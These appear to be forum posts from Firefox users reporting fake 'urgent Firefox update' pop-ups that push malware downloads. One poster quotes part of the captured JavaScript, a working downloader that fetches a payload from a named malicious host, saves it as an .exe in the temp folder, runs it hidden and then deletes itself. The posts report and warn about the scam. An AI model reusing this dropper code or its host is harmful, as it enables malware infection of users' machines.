I have periodically gotten a full screen page with the Firefox logo indicating that I need to download/install an urgent update. Today it appeared on cnn.com while I was reading the page and before I clicked anything. I closed the page with the red "X" without incident and ran a Malwarebytes scan immediately afterward without result. Is this a problem Firefox has been subjected to?

I have a .js file and .dat file that I snagged when a Urgent Firefox Update message popped up. This urgent update looked very Firefox Official. I noticed the redirect URL and it was: https://queidwhoreslag.net/9751229892037/e9e0075191d8aac19e485315d1b67c26.html. So I saved the .js file on one of my other computers and snagged some other stuff from their API. I have the malware code that is Firefox directed. Just need to know where to send the compressed files. Below is a glimpse at some of the .js code:


url='https://queidwhoreslag.net/10/524.dat';

fname=b.GetSpecialFolder(2)+'\\1e90999f64aa011197bfdf7c1792c61b.exe';
for(var i=1;i<=5;i++)
{

try { c.open('GET', url, false); c.send(null); break; }

    catch(e){

WScript.Sleep(5000); }

}
d.Open;
d.Type = 1;
d.Write(c.ResponseBody);
d.Position=0;
if (b.Fileexists(fname))b.DeleteFile(fname);
d.SaveToFile(fname);
a.run('cmd.exe /c "'+fname+'"',0,false);
var p = WScript.ScriptFullName;
if (b.FileExists(p))b.DeleteFile(p);
WScript.Echo('Update complete.'); 
} catch (e) {}

Strongly desired is a 'verification' of programs loaded vs mozilla copy. This to suppliment 'you are on the latest release.' Reasoning is lately when a web page is replaced by 'update firefox' orange screen and a pop-up of 'opening firefox-patch.exe' which wants to save a binary file. But it is not a FF patch. The result could be malware. Months ago I fell for this ploy, or a similar FLASH update and endured problems (ie, svchost.exe running taking 50% of my CPU all the time.)

Might be caused by a rotating 'ad' related, or that FLASH is blocked, or maybe html5 is running. Unknown. I have other notes. PS windows security essentials finds a trojan KIVTER in my temp file soon thereafter. I don't know where it is stored after that.

While on another page, I get a very real looking Firefox page that says, I have chosen to take this update, which I haven't. It always has a link that every time it comes up has a different address in it. And they are always really weird addressed that look very fake. I always close it out and don't even hit the cancel in the link. This has been going on for a few weeks. I do not think this is a legitimate update link form Firefox, especially since it overcomes what ever page I am on. Are you aware of this?
